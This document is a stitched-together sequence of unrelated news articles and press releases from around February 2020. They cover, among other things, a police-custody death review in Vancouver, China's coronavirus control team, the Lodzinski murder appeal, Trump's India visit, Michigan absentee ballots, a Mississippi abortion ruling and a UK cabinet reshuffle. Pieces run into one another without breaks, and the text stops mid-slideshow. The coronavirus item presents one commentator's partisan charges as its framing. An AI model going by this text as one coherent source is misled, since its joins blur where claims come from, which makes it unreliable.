Photo: North Shore News The Independent Investigations Office has cleared police of any wrongdoing in the death of a North Vancouver teen. The 18-year-old student at the University of British Columbia was found dead under the Lions Gate Bridge within hours of his release from custody by University RCMP. According to the IIO, which is called in whenever someone is harmed or killed in their interactions with police, the young man was arrested on Feb. 5. Around 2:30 a.m., he was released and driven by officers to his place of residence. Two hours later, a security guard found his body on the northern shore of Burrard Inlet under the bridge. The investigation focused on his state of mind at the time he was released by police. But after reviewing the cell block footage, radio communications and a search of the mans home and belongings, the chief civilian director of the IIO concluded police were not responsible. The evidence demonstrates that police carried out a lawful investigation, that they were justified in releasing him after the arrest, and that the mans death did not arise as a consequence of their actions or inactions, a statement from the IIO read Wednesday evening. The teens family has declined comment and asked that his name not be released. China: No Medical Expert on National Coronavirus Control Team Chinese people calling it an 'uprising control team' Chinese authorities set up a nine-person national coronavirus control team on Jan. 25, which does not include any medical professionals, experts from the National Health Commission, or epidemic control specialists. A scholar pointed out that the goal of this team, comprised only of personnel from the Central Propaganda Department and the Ministry of Public Security, was not to prevent and provide treatment for the epidemic, but to focus on propaganda, arrest people, and block information dissemination. Some Chinese netizens shared similar comments, and renamed the team the uprising control team. Team Set Up After the First US Case Appeared During an interview with the Chinese-language Epoch Times, Professor Tung Li-wen, a China expert and member of Taiwan Think Tank advisory committee, shared his opinion on why Wuhan City (the epicenter of the coronavirus outbreak) was locked down on Jan. 23 and why a national coronavirus control team was established on Jan. 25. Tung believes that once the first COVID-19 case was identified in Seattle on Jan. 21, the Chinese authorities couldnt hide elephants in mouse holes any longer. No Medical Professionals on the Team According to Tung, of the nine members on the team, the leader is Li Keqiang, premier of the State Council, and the deputy leader is Wang Huning, Chinas propaganda boss. The other members in the group include Ding Xuexiang, director of the General Office; Sun Chunlan, vice premier of the State Council; Huang Kunming, minister of the Publicity Department (formerly known as Central Propaganda Department); Cai Qi, secretary of the Beijing Municipal Party Committee; Wang Yi, foreign affairs minister; Xiao Jie, secretary general of the State Council; and Zhao Kezhi, minister of public security. However, there is no expert from the National Health Commission or any public health specialist in the group. Tung explained that deputy team leader Wang was previously in charge of Communist Party ideology. The former position of another chief leader, Sun Chunlan, was head of the United Front Work Department. The other members came from either the Central Propaganda Department or the Ministry of Public Security. Tung pointed out that the coronavirus control team was not set up to combat the disease because there were no health authorities or medical experts in such an important leadership group. This is not a group for coronavirus control, but a group for politics and publicity, and for precluding popular revolt. Tung pointed out that such posturing is a major problem in the Chinese communist system, as well as the biggest problem in the fight against the coronavirus. In comparison, the epidemic control system and methods in Taiwan are totally different from those of the Chinese Communist Party (CCP). Tung cited an example to illustrate his point. The commander of the inter-agency Taiwan Central Epidemic Command Center, Chen Shizhong, is also the head of the Ministry of Health and Welfare. In the meantime, Taiwans top public health experts and disease specialists are organized into different teams to prevent a coronavirus outbreak in the self-ruled island nation. No Refinements in the Past 17 Years The first decision made by this national team was to build the Huoshenshan (Fire God Mountain) hospital, Leishenshan (Thunder God Mountain) Hospital, and a number of makeshift hospitals called Fangcang Hospitals, which were all constructed in a short period of time. Fangcang Hospitals were set up in over a dozen stadiums, school gyms, and exhibition centers to isolate patients with mild or moderate symptoms of COVID-19 infection. Tung explained that the CCP was still using the same epidemic control methodology it adopted 17 years ago. In 2003, the government built a makeshift hospital in 10 days to prove it was capable of controlling the SARS outbreak. This approach was used recently and remains unchanged. The CCP expected to divert global attention from the messy situation in Wuhan to construction of the hospitals by showing the buildings going up in live videos. It was obvious that almost half of the news coverage on the epidemic focused on the building of Huoshenshan Hospital. However, the hospital contained only simple and ineffective medical equipment, and was criticized by Chinese netizens as a death concentration camp. Many patients at the Fangcang hospitals have posted videos online showing the poor environment and pleading for help from those outside. In these videos, patient beds were closely lined up with no curtains for physical separation; those who arrived late had to sleep on the floor; it was even difficult to use the restroom and bathroom; and meals couldnt be guaranteed. Moreover, there are no doctors, only nurses. Tung stated that next, a few model wards might be constructed and showcased internationally as being equipped with ECMO machines (extracorporeal membrane oxygenation, used to rescue critically ill patients) and other medical equipment needed in negative pressure isolation wards. On the other hand, the number of beds in Huoshenshan Hospital and Leishenshan Hospital add up to no more than 2,400 even though there are at least 100,000 confirmed cases in Wuhan. It is still a big problem as to who will be selected to go to the hospital for diagnosis and treatment. The whole process is a war of publicity, not a war against the contagion, Tung said. Such concentration-camp style hospitals were not constructed for treating an epidemic at all. Patients are placed in close proximity and are left to die. This indicates that the CCP governance is facing total collapse. The New Jersey Supreme Court has agreed to hear the appeal of Michelle Lodzinski, the mother who was convicted more than two decades after the mysterious disappearance and death of her young son in an infamous case that long haunted investigators. The court, in deciding to hear the case, will consider defense arguments that the trial judge made a mistake when he refused to declare a mistrial after a juror was excused during deliberations for conducting his own research. It will also look at whether there was sufficient evidence to support her conviction. Thats significant for Lodzinski. Had the court only looked at the issue of a mistrial, it would have meant the case could be retried. But if the court rules that there was not sufficient evidence for conviction, it could be tantamount to an acquittal. Attorneys for Lodzinski had argued that the prosecution case was little more than a house of cards, built on circumstantial evidence that was insufficient to justify a guilty verdict. Lodzinskis attorney, Gerald Krovatin of Krovatin | Nau in Newark, said little about the courts decision to accept the petition, other than to call it good news. He said Lodzinski, now 52, who is currently serving a 30-year sentence with no chance of parole at the Edna Mahon Correctional Facility in Hunterdon County, was encouraged and hopeful. The Middlesex County Prosecutors office, which tried the case, declined comment. Lodzinski has always denied she had anything to do with the death of her son, Timothy Wiltsey, who was five when she reported him missing at a carnival in Sayreville in May 1991. The boys disappearance captured national headlines. Lodzinski, then a young single mother living in South Amboy, told police she had left her son for a moment to buy a soda, and when she turned around, the kindergarten student was gone. Lodinski changed her story several times in the weeks after his disappearance. It would be nearly a year later when his skeletal remains were discovered in a creek in a remote section of the Raritan Center industrial park, close to where Lodzinski had once worked. A cause of death was never established because only a few bones were recovered. Timothy Wiltsey in his kindergarten photo, with his mother, Michelle Lodzinski before he disappeared in 1991Star-Ledger file photos While Lodzinski had been a suspect early on, no charges were brought in the case for more than 20 years. Then in August 2014, on the day of Timothys birthday, police came with a warrant and arrested her in Port St. Lucie, Fla., where she was by then living with two teenage sons. The Middlesex County Prosecutors office reopened the cold case, based on a faded blue-and-white childs blanket discovered near the creek where the boys remains had been discovered. Investigators said the frayed fabric had come from Lodzinskis apartment and it became a centerpiece of the prosecution case. Lodzinskis niece testified at trial that she had seen the blanket in the apartment when she was babysitting. Lodzinski did not testify during her trial. A jury of seven men and five women convicted her in 2016 after eight weeks of testimony. But the verdict came with a strange twist, after the jury foreman was removed five hours into deliberation for allegedly conducting his own research on the case. He was quickly replaced with an alternate and the jury continued deliberating for three more hours. Krovatin had argued that it should have been enough for a mistrial, a motion denied at the time. Krovatin had maintained that the case against Lodzinski had been flawed from the start, citing not only the failure to determine a cause of death, but the lack of any history of abuse, any evidence linking the blanket to Timmys home, and no eyewitnesses. He said the entire case hinged on the emotional impact of the death of a 5-year-old boy. But last year, a state appellate court upheld the verdict, saying it agreed with the state that there was available proof for the jury to conclude beyond a reasonable doubt that Timmys death was neither suicide nor an accident, but rather he was the victim of a homicide. The court in its ruling also concluded there was also available evidence beyond a reasonable doubt that Lodzinski had placed Timmys body in the shallow grave where he was discovered. She was the last person seen with him, said the appellate panel. In his filing with the Supreme Court, Krovatin wrote that he was unaware of any decision in New Jersey or elsewhere "which sustained a murder conviction where no direct or circumstantial evidence suggested that the defendant engaged in any conduct that caused the victims death, much less that she purposely or knowingly killed the victim. He said Lodzinski was serving a 30-year jail sentence for the most heinous crime imaginable a mother murdering her infant child under the most questionable of circumstances. Initial briefs before the Supreme Court are due to be filed in April. Ted Sherman may be reached at tsherman@njadvancemedia.com. Follow him on Twitter @TedShermanSL. Facebook: @TedSherman.reporter. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. So was there anything resembling sex education? In my time, no. In fact, all real education stopped when the Cultural Revolution started in 1966, when I was 14. One of the few films allowed to be shown in China was from Albania; Albania in those years being one of Chinas few friends. There was a scene of people kissing, but the scene was cut from the film when it was shown in China. Growing up in Cultural Revolution-era China, what were you told about sex? When I was growing up in China, it was extremely puritanical. In the Cultural Revolution, the words love and sex were completely unmentionable. Very rigid. Each week, Benjamin Law asks public figures to discuss the subjects we're told to keep private by getting them to roll a die. The numbers they land on are the topics they're given. This week he talks to Jung Chang. The 67-year-old authors family memoir, Wild Swans, has sold more than 13 million copies since its 1991 release, despite being banned in China. Her latest book is Big Sister, Little Sister, Red Sister. In your mid-20s, you were among the first groups of Chinese to study in Britain. What were the biggest differences in sexual attitudes? It was like landing on Mars. There were 14 of us in a group, all wearing the Mao suit: blue, baggy trousers, a baggy jacket. We were quite a sight in the London streets in 1978. We were not allowed to go out on our own. We were told we mustnt visit English pubs, because there were nude women dancing on the tables. I was torn with curiosity. Then one day I snuck out of college, darted across the road, pushed the door of the pub open and, of course, saw nothing of the kind! Only some men sitting drinking beer. I was rather disappointed! Your partner in work and life is Irish historian Jon Halliday. What drew you to him? We met in the early 1980s, working for television [Chang has resided in Britain since 1978]. Jon was making a TV series about the Korean War; I was working for a series about post-Mao China. Jon was an exceptionally gentle and sensitive man. You and Jon co-authored a biography of Mao. Should people work with their romantic partners so closely? For some, it would be a recipe for disaster. It worked perfectly. We spent 12 years working on the book and had tremendous fun. We complemented each other very well. Im Chinese, so I dealt with the Chinese-language sources. Jon speaks many languages, so he was landed with the rest of the world, so to speak. We exchanged discoveries, talked to each other and figured things out. It was absolutely fantastic. POLITICS All your books are about politics and political history. To what extent do you consider your works political? Oh, theyre very political. [Laughs] This is not because Im a very political person, but because Ive picked subjects that are to do with the history of China, so Im landed right in the core of politics. This is why they are all banned in mainland China. Taj Mahal will be closed for the general public from noon onwards during US President Donald Trump's visit to the iconic place on Monday. Police authorities have conducted identification of all houses, restaurants, shops and hotels on the route near Taj Mahal to ensure maximum security. The couple is expected to spend around 45 minutes there. "Due to security reasons, Taj Mahal will be closed for public from 12 noon on the day when US President Donald Trump visits the monument. President Trump will visit Taj Mahal on February 24," Vasant Kumar Swarnkar, Superintendent Agra Division, Archaeological Survey of India (ASI) told ANI. US President Donald Trump and First Lady of the US Melania Trump will be on an official two-day visit to India on February 24 and 25. Trump is the first serving US President to visit Gujarat. PM Modi will personally receive the couple in Ahmedabad on February 24. Also read: Visiting Taj, India Inc roundtable: Trump's got two busy days in India President Trump will arrive at the Sardar Vallabhbhai Airport. A 22km long roadshow has been planned on Ahmedabad streets. The roadshow will stop for some time at the Sabarmati Ashram where both the heads of states will pay tributes to the Father of the Nation Mahatma Gandhi. Both the leaders will also take part in the Namaste Trump event at the Sardar Vallabhbhai Patel Stadium. Approximately, 1.25 lakh people are expected to attend the event, which will feature cultural performances, including a performance by some Bollywood celebrities. After the formal lunch hosted in Gujarat, the President and the First Lady will leave for Agra. After this, the couple will leave for Delhi. The US President and his delegation will meet the top businesspersons of India as part of a CEO roundtable, which will take place at the US Embassy. Also read: Meet the Indian who fasts every Friday for Trump's good health Also read: 'Looking forward to visiting New Delhi, Ahmedabad,' says Melania Trump Also read: Not 'trade deal' but 'trade package' on the cards during Trump's India visit OrganoPor: Bio-Based Boards for A Thermal Insulation Composite System Fraunhofer Institute for Structural Durability and System Reliability LBF developed a novel, bio-based facade insulating material during a two-year project. It can be competitive in manufacturing, processing and offer the properties needed for market-leading polystyrene insulation boards. Since OrganoPor also offers a competitive price, it has an opportunity to conquer the market. Fraunhofer LBF will present more about the new insulating material at the JEC World Trade Fair in Paris, from March 3 to 5, 2020, in Hall 6, Booth J 28 of the Fraunhofer-Gesellschaft. Polystyrene foam boards (PS) are the most common insulation material, used in more than 90% of all thermal insulation composite systems (TICS). There have been hardly any bio-based alternatives, as they are associated with manageability and price issues. The Fraunhofer LBF?s project developed a competitive, bio-based hybrid material for PS boards which are also price-competitive ? a pioneering achievement. These use residual and waste materials such as cork and corncobs, waterborne resins based on lignin, and mineral fillers as flame retardants. To manufacture the panels, the porous particles of renewable raw materials are coated with a bio-based duromer, that includes a mineral flame retardant, and are then pressed. The benefit: This is not a new manufacturing process. An existing, marketable principle can be used without a great deal of effort. The resulting boards behave in fires in the same way as the latest-generation polystyrene foam hybrid materials. Component densities of 120 kg/m? and thermal conductivities of 40 mW/m K have been achieved. Its open-pored structure provides control of water vapor diffusion. Applications tests performed by DAW, its industrial partner, have shown that OrganoPor can be easily used in TICSs. OrganoPor is particularly economical to produce, due to the structural and processing parallels to polystyrene foam hybrid materials. An additional benefit is the availability of raw materials. OrganoPor has a great opportunity to establish itself as an ecological alternative in the insulation material market. The German Federal Ministry of Food and Agriculture (BMEL) supported the ?Insulation Materials for Building Insulation from Biogenic Residues with Spherical, Porous Structure and Fire-Retardant Bioresin Matrices? project via the Agency for Renewable Raw Materials (FNR). Project partners included JOMA Dammstoffwerk GmbH, J. Rettenmaier & Sohne GmbH + Co KG, Nabaltec and DAW SE (Deutsche Amphibolin-Werke). The final report is available at fnr.de under the funding ID 22023516. The organopor.com website provides basic information about the project history and properties of OrganoPor materials. Fraunhofer LBF in Darmstadt has stood for the safety and reliability of lightweight structures for more than 80 years. Today, with its expertise in the areas of structural durability, system reliability, vibration technology and polymer technology, the Institute provides solutions for three of the most important cross-cutting issues of the future: lightweight design, functional integration and cyberphysical mechanical engineering systems. The focus here is on solutions to social challenges such as resource efficiency and emission reduction as well as future mobility, like e-mobility and autonomous, networked driving. Comprehensive skills ranging from data acquisition in real operational field use to data analysis and data interpretation, in addition to deriving specific measures to design and improve material, component and system properties form the basis for this. Customers come from automotive and commercial vehicle construction, railway transport engineering, shipbuilding, aviation, machine and plant construction, power engineering, electrical engineering, medical engineering and the chemical industry. They benefit from the proven expertise of about 400 employees and cutting-edge technology accommodated in more than 17,900 square meters of laboratory and experimental space. COLUMBUS, Ohio, Feb. 21, 2020 /PRNewswire/ -- Millions of gallons of sewage has spilled into the waterways of a popular spring break destination, Fort Lauderdale, FL, causing hefty fines and fish to die. A science-based company, BioNutraTech, holds the totally green solution for meeting the wastewater treatment crisis in Fort Lauderdale. "I feel so horrible for all the college students embarking on spring break soon with the condition of the water right now," says BioNutraTech CEO and president, Sandra Hruza. "I would be sick with worry if my child was heading down to the beach in the upcoming weeks." Sandra is willing to fly down on her own expense to help neutralize the situation of the sewage spill happening in Fort Lauderdale. College students all over the country are beginning to head south to warmer weather for spring break. Fort Lauderdale beaches are the ultimate party spot in the next couple of weeks. The string of sewage spills and vintage pipes are causing the bodies of water to become contaminated. The state of sunshine has hit national news over becoming the top state for sewage spill. "We got the product, we can do this," said Hruza. "If we put the product into the water now, it would only take days to ensure water clarity and clean up the toxic mess." The patented formula, BiNutrix, is safe, nontoxic, reduces harmful germs and pathogens while eliminating obnoxious odors. It's safe for the environment, including aquatic life, and is gentle on animals and humans. About BioNutraTech: BioNutraTech, founded in 1994 creates eco-friendly and cost-effective bioremediation solutions that generate value for customers around the globe by producing natural products for the enhanced cleanup and maintenance of the environment. BioNutraTech's eight patented products serve several purposes, such as, remediate petroleum spills, wastewater contaminants, animal habitats and their wastes. Products are certified by NSF and registered with the U.S. EPA. For more information visit www.bionutratech.com. About BiNutrix WASTEWATER TREATMENT SYSTEM: BiNutrix is a patented, composite bio-stimulator that provides critical bio-nutrients to microbes in a form that accelerates their reproduction and enhances their performance. The unique coating provides time-released feeding for the growth and health of microbes that remediate waste. Media Contact: Susan Fortner, Bowers PR 614-562-0054 bionutratech.com [email protected] SOURCE BioNutraTech NASHVILLE, Tenn., Feb. 21, 2020 /PRNewswire/ -- Hilary Dorr Lang, Ph.D., has joined the Nashville office of Waller Lansden Dortch & Davis, LLP. A registered patent attorney with a doctorate in organic chemistry, Lang focuses her practice on the preparation and prosecution of chemical, biologic and pharmaceutical patents and the management of large patent portfolios in those areas. Hilary Dorr Lang, Ph.D., has joined the Nashville office of Waller Lansden Dortch & Davis, LLP. "With her extensive experience across a broad spectrum of chemical products and processes, Hilary will play a key role in expanding the suite of services provided by our patent team," said Bob Felber, Waller's Intellectual Property practice leader. "She is a terrific complement to the work we are doing in computer science and the mechanical and electrical arts." Lang has successfully prosecuted patents for small molecule drugs, medical devices, drug delivery systems, cosmetics, nutritional products, petroleum, chemical formulations and other pharmaceutical products. She assists clients ranging from start-ups and universities to large corporations in developing and managing global patent portfolios. Additionally, she provides counsel on a wide range of intellectual property matters and delivers analysis on patent landscape and freedom-to-operate issues. Her experience also includes intellectual property litigation, including Hatch-Waxman litigation and pre-litigation portfolio analyses. Lang earned her J.D. in 2005 from Boston College Law School. She received her Ph.D. in Organic Chemistry from The University of Chicago and earned her B.S. in Chemistry with honors at the University of California at Santa Cruz, where she did undergraduate research in synthetic organic chemistry. About Waller With more than 270 attorneys in three states, Waller assists clients in complex transactional, regulatory and litigation matters. The firm has a national reputation in healthcare and financial services and boasts robust practices in private equity, real estate and intellectual property. Waller was named one of the best law firms for women by Working Mother and was spotlighted by Chambers Associate as one of the nation's leading firms for recruiting, retaining and supporting legal talent. Waller, which was ranked as Nashville's largest law firm by the Nashville Business Journal, was an honoree in the NBJ's Best Places to Work program. Media Contact: Sarah Brawner Phone: 615.610.0323 Email: [email protected] Related Images hilary-dorr-lang.jpg Hilary Dorr Lang Hilary Dorr Lang, Ph.D., has joined the Nashville office of Waller Lansden Dortch & Davis, LLP. SOURCE Waller Lansden Dortch & Davis, LLP Michigan residents have time to recast their absentee ballot if they already voted for a candidate who dropped out of the presidential primary since early voting began in late-January. Michigan law gives voters who turned in an absentee ballot the option to "spoil their ballot and obtain a new one, providing a second chance to pick a candidate who is still in the race. This can be done by submitting a request to a local clerk before election day on March 10. Voters can submit a written request to their local clerk by mail by 2 p.m. on March 7, the Saturday before the primary. The request must specify whether the voter would like to receive a new absentee ballot or whether they will instead come in and vote at the polls on election day. The request must also be signed. A voter can also request to spoil their voted absentee ballot in person at their clerks office until 4 p.m. on March 9. There is no option on Election Day to spoil an absentee ballot that has been received by the clerk. This also applies to voters who filled out their absentee ballot but havent turned it in yet. Voters should destroy their spoiled ballot when asking for a new one. Nearly 2,500 voters have spoiled their absentee ballot as of Feb. 21, according to the Michigan Secretary of State. Thats only 1% of the absentee ballots turned in so far. Early voting is easier than ever thanks to new laws adopted by voters in 2018. All registered voters in Michigan can vote using an absentee ballot for any reason, but they need to request one from their local clerks first. Requests for absentee ballots are up 71% from this point in 2016, according to the Michigan Secretary of State. Only a third of those ballots have been turned, slightly less than in 2016. Voters started receiving absentee ballots on Jan. 25. Several candidates have dropped out since then, including: Former South Bend, Ind. Mayor Pete Buttigieg; U.S. Sen. Amy Klobuchar, D-Minn.; former U.S. Rep. John Delaney, D-Md.; businessman Andrew Yang and U.S. Sen. Michael Bennet, D-Colo. Several Democrats and Republicans will also be listed on Michigans March 10 presidential primary ballot who are no longer in the race. Democrats who are no longer running but will still appear on the ballot include U.S. Sen. Cory Booker, D-N.J., former U.S. Housing Secretary Julian Castro, former U.S. Rep. Joe Sestak, D-Penn., and author Marianne Williamson. If a candidate who isnt in the race can still earn votes on election day even win delegates, but its unlikely. The Michigan Democratic Partys delegate selection plan requires candidates to receive 15% of the vote in each congressional district to receive any delegates. On the Republican side, former South Carolina Gov. Mark Sanford and former U.S. Rep. Joe Walsh, R-Ill. ended their campaigns. The Michigan Republican Party requires candidates to receive at least 20% of the primary vote in order to receive any delegates. Theres still plenty of time to obtain an absentee ballot. Requests for a mailed absent voter ballot must be turned in by 5 p.m. on March 6. People who are already registered to vote can request an absent voter ballot in person at their clerks office anytime before 4 p.m. on March 9. Voters have until 8 p.m. on March 10 to return their completed ballot to their local clerks office, either through the mail or in person. Voters must request an absentee ballot by sending a completed application (available in large print here) to their local clerks office. Applications must be filled out in writing and can be turned in by hand, mail, fax or email, as long as a signature is visible. For the presidential election, voters choose whether to participate in the primary for Democrats or Republicans. This must be marked on the ballot application. Some counties will also be deciding on local questions in March. Voters in those areas can select nonpartisan if they only want to weigh in on local issues. Check your voter registration and find your local clerk at the Secretary of States Michigan Voter Information Center. Michigans presidential primary is just a few short weeks away. There will be 19 candidates total on the March 10 ballot, including President Donald Trump, 15 Democrats and three other Republicans. Candidates who dropped out are marked with an asterisk (*). Democratic Party Former Vice President Joe Biden Former New York Mayor Michael Bloomberg U.S. Rep. Tulsi Gabbard, D-Hi. U.S. Sen. Bernie Sanders, I-Vt. Businessman Tom Steyer U.S. Sen. Elizabeth Warren, D-Mass. South Bend, Ind., Mayor Pete Buttigieg* U.S. Sen. Amy Klobuchar, D-Minn.* U.S. Sen. Michael Bennet, D-Colo.* U.S. Sen. Cory Booker, D-N.J.* Former U.S. Housing Secretary Julian Castro* Former U.S. Rep. John Delaney, D-Md.* Former U.S. Rep. Joe Sestak, D-Penn.* Author Marianne Williamson* Businessman Andrew Yang* Republican Party Appeals Court Blocks Mississippis 6-Week Abortion Ban A federal appeals court has upheld a block on a Mississippi law that bans most abortions once a fetal heartbeat is detected at around six weeks of pregnancy. The U.S. Court of Appeals of the 5th Circuit ruled (pdf) on Thursday to affirm a lower court injunction that blocked the state law from going into effect. This comes after the same court ruled in December that the states 15-week ban, a separate abortion law, was unconstitutional. Former Mississippi Governor Phil Bryant (R) signed the so-called heartbeat bill in March last year (pdf). The law makes it a crime to perform an abortion, except in a few circumstances, after a fetal heartbeat has been detected, which is generally at six weeks. After the law was signed, the states only abortion clinic, Jackson Womens Health Organization, sued. The district court ruled in favor of the clinic in May last year. The three-panel judge wrote in its opinion that the law is unconstitutional because it bans the procedure before a fetus is viablethat is, whether it can survive outside the womb. It added that since it had previously ruled that an abortion after 15 weeks was unconstitutional then the more restrictive 6-week ban is also unconstitutional. In December, the same court said in the previous ruling that the states 15-week ban was unconstitutional because prohibitions on pre-viability abortions are unconstitutional regardless of the States interests because a State may not prohibit any woman from making the ultimate decision to terminate her pregnancy before viability,' citing the Supreme Courts landmark decision on Roe v. Wade in 1973. Several other states including Arkansas, Georgia, Kentucky, Louisiana, and Ohio have passed their own version of the heartbeat bills. Many of these bills have led to a series of legal challenges in courts. These states are hoping that the lawsuits could be a vehicle to challenge Roe v. Wade, which classifies the right to choose to have an abortion as fundamental, in the Supreme Court. Several courts across the country have already invalidated the heartbeat bill, such as in Mississippi. The Supreme Court is preparing to hear a case regarding state laws that put restrictions on abortions. That case asks the court to decide whether an unconstitutional burden has been placed on women seeking abortions after Louisiana passed a law requiring doctors performing abortions to have admitting privileges within 30 miles of where the procedure was taking place. Although the right to abortion is not the focus issue of the case, it has garnered significant attention as the case could provide people with some insight into the top courts attitude toward the procedure, since this case would be the first for President Donald Trumps two new appointeesJustices Neil Gorsuch and Brett Kavanaugh. Mississippi has the highest infant mortality rate in the country, with 9.08 out of every 1,000 live births dying before their 1st birthday, according to a Centers for Disease Control report (pdf) in 2018. Meanwhile, 2,550 abortions were performed in Mississippi in 2017, although not all of the abortions were provided to residents of the states, according to the Guttmacher Institute. Moreover, the abortion rate in the state increased by 13 percent between 2014 and 2017, from 3.8 to 4.3 abortions per 1,000 women of reproductive age. Investment consulting firm Millwood Kane International has collaborated with RE/MAX India to bring Cyprus international real estate investment programmes to Indian investors. RE/MAX is a well-known real estate brand that sells international real estate in India and around the world. The company maintains houses, apartments, offices, hotels, land and other types of properties for sale and rent. The association will bring in the best Cyprus real estate projects to India and deliver them to Indian high net worth individual (HNI) investors looking to invest abroad. Millwood Kane will be conducting roadshows in prime cities in India, with each roadshow looking to penetrate and reach the right audience as the brand has a large portfolio of real estate in London, Cyprus and other global cities. "As many Indians begin to leverage international real estate investments to hedge the risk in their portfolio, Millwood Kane will provide the quality real estate project post thorough due diligence and market data analysis, which underlies the investment process," it said in a statement. Under the collaboration, RE/MAX India will work with Millwood Kane exclusively to create awareness about Cyprus real estate market and streamline the often-complex relationships between buyers, sellers, brokers, title and escrow agents, and notaries into agreements over contracts. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Kyle Martin Bay City News Service Santa Clara County prevented homelessness for nearly 4,000 local residents over the last two and a half years, officials said during a news conference Thursday. Advocates and legislators representing local homeless people held a news conference Thursday morning at San Jose's Sacred Heart Community Service center to brief the public on the county's successes in reducing the growing number of unhoused people in the region, Jennifer Loving, CEO of San Jose's Destination: Home, said. "Silicon Valley, like many places in the state of California and the nation, are seeing a rising tide of people becoming homeless," Loving said. "And a lot of this is due to rising rents, wages not keeping pace with housing, the lack of deeply affordable housing stock, displacement and gentrification." Loving said Silicon Valley sees two- to three-times as many people going into homelessness than there are people leaving homelessness throughout the year. The county also saw 161 homeless deaths last year, which is a rise from the 157 deaths from the year prior. And while the county works toward housing more of the thousands still living on the streets on any given day, Loving said, it will be for naught and "we're going to continue to have this massive humanitarian crisis in our midst." County legislators and homeless advocacy organizations in 2017 jump started a homeless Prevention System - funded by both public and private monies - which officials on Thursday said has helped 1,338 households countywide, including a total 3,957 individuals. Since then, 95 percent of those households remained stably housed and received an average of $4,106 in direct financial assistance while being served by the county's prevention system. Also, just eight percent of those households over the last year became homeless after leaving the prevention program, according to Destination: Home. "We track the information and we know this intervention is working," Loving continued, though she also leveled with the reality of the county's situation. "But we are only able to help the amount of people that we have the resources to, and so this system is turning families away simply because we don't have enough money." Loving remains hopeful in the county's ongoing efforts to quash the suffering of homelessness - which plagues a vast majority of working-class families making well-below poverty-level wages and spending half, or more, of their income on rent. Loving, alongside Santa Clara County Board of Supervisors President Cindy Chavez and San Jose Mayor Sam Liccardo, pushed for local voters in San Jose to approve Measure E in the upcoming March primary election - a measure the three county leaders are hoping will make it onto this November's election ballot - to aid in combating homelessness in the county's largest city. Measure E proposes imposing a real property transfer tax on homes valued over $2 million, with that revenue going to fund more homeless housing projects and services for seniors, veterans, families and poverty-stricken individuals. The measure is estimated by the city of San Jose to generate about $70 million annually if passed. Chavez said Thursday that pushing for wide support in homeless prevention should be a significant priority for the county, like how it was a priority when two-thirds of county voters in 2016 approved Measure A - a 10-year, $950 million affordable housing bond that has set a goal of 4,800 new, permanent and supportive units for homeless and housing insecure people by 2036. "What we found is that we spend a lot less money if we can put someone in a home than we do if they're just out on the street," Chavez said, noting that the county currently has 2,100 units in the pipeline waiting to be built and opened. "We spend less in ambulances, we spend less in hospitals, we spend less in the jails - we just spend less as a society. It's not only the right thing to do, but it's cost effective." Chavez again pushed for local support when she said "whatever San Jose needs, they're leading. Let's help them do it." San Jose's mayor then urged the public's support for "the solutions we know that work in this crisis," which are housing for homeless people and homeless prevention. "We know we're housing thousands of folks," Liccardo said. "We just know that we're not housing them fast enough because the economy is pushing too many folks back out onto the street. And so as a result, we certainly decided we're all in because we need more solutions." Liccardo also said Thursday that if San Jose voters don't approve the upcoming Measure E, the city will have one of two options. "We'll continue to muddle through with the inadequate resources we have, or we find areas to cut to focus dollars on the crisis we face," Liccardo said. "And none of those cuts look friendly for a community that doesn't have nearly enough police officers, nearly enough after-school learning programs or nearly enough fire stations." Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Seoul, Feb 21 : Samsung Electronics Co., the world's largest memory chipmaker, has said its new semiconductor fabrication line in South Korea using extreme ultraviolet (EUV) lithography technology has begun mass production. The South Korean tech giant said the EUV-equipped facility, named V1, in Hwaseong, south of Seoul, can produce chips using a process node of 7 nanometers (nm) and that its first products will be delivered to customers in the first quarter. Samsung broke ground for the facility in February 2018 and began to test wafer production in the second half of 2019, Yonhap news agency reported on Thursday. "Last year, here at this site, we began our vision of becoming the world's No. 1 system chipmaker," Samsung Electronics Vice Chairman Lee Jae-yong said after visiting the production line. "We need to continue our efforts to make these chips represent our dream of contributing to human society." Samsung last year announced it will invest 133 trillion won ($111 billion) by 2030 to expand its non-memory and foundry businesses. The V1 line is currently producing mobile chips with 7 and 6-nm process technology, according to Samsung. The facility will adopt finer circuitry up to a 3-nm process node in the future, it said. Samsung said the cumulative investment in the V1 line will reach $6 billion by the end of this year. "The adoption of EUV lithography technology has become increasingly important, as it enables scaling down of complex patterns on wafers and provides an optimal choice for next-generation applications such as 5G, AI and automotive," Samsung said in a release. "Together with the S3 line, the V1 line is expected to play a pivotal role in responding to fast-growing global market demand for single-digit node foundry technologies." Samsung now has a total of six foundry production lines in South Korea and the US. The governments newly appointed junior minister for equalities has never voted on equal gay rights or gay marriage in her three years as an MP, it has emerged. Following Boris Johnsons reshuffle, Kemi Badenoch is working on policy for women and LGBT+ people but she has abstained on every Commons vote on the issue. In July 2019, the Saffron Walden MP abstained from a vote on Northern Irelands extensions of Marriage of Same-Sex Couples and Marriage and Civil Partnerships for same sex people. Both of these successfully passed through the Houses. Laura Russell, Director of Policy, Campaigns and Research at Stonewall, told The Independent: Everyone who holds public office needs to champion the individuals they represent, including LGBT people, and we will work with Government toward creating a world where all LGBT people are truly accepted. There has been a lot of progress towards LGBT equality over the last thirty years, from the introduction of equal marriage to the creation of anti-discrimination laws. But we are far from living in an equal society, and hate crimes against LGBT people are on the rise, including a reported 37 per cent increase in hate crime towards trans people over the last year. Additionally, in June 2018, Badenoch voted against retaining the EUs Charter of Fundamental Rights following Brexit. That Labour amendment was voted down, with 320 MPs to 301 voting against it. Boris Johnson's cabinet reshuffle: Who's in and who's out Show all 17 1 /17 Boris Johnson's cabinet reshuffle: Who's in and who's out Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Sajid Javid Resigned as Chancellor of the Exchequer. Mr Javids departure comes just one month before a crucial budget, intended to chart the course for the new government and makes him the shortest-serving chancellor for more than 50 years Getty Boris Johnson's cabinet reshuffle: Who's in and who's out In: Rishi Sunak Promoted from Chief Secretary to the Treasury to Chancellor of the Exchequer after the dramatic resignation of Sajid Javid Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Esther McVey Sacked as housing minister AFP via Getty Boris Johnson's cabinet reshuffle: Who's in and who's out Out: Andrea Leadsom Sacked as business secretary 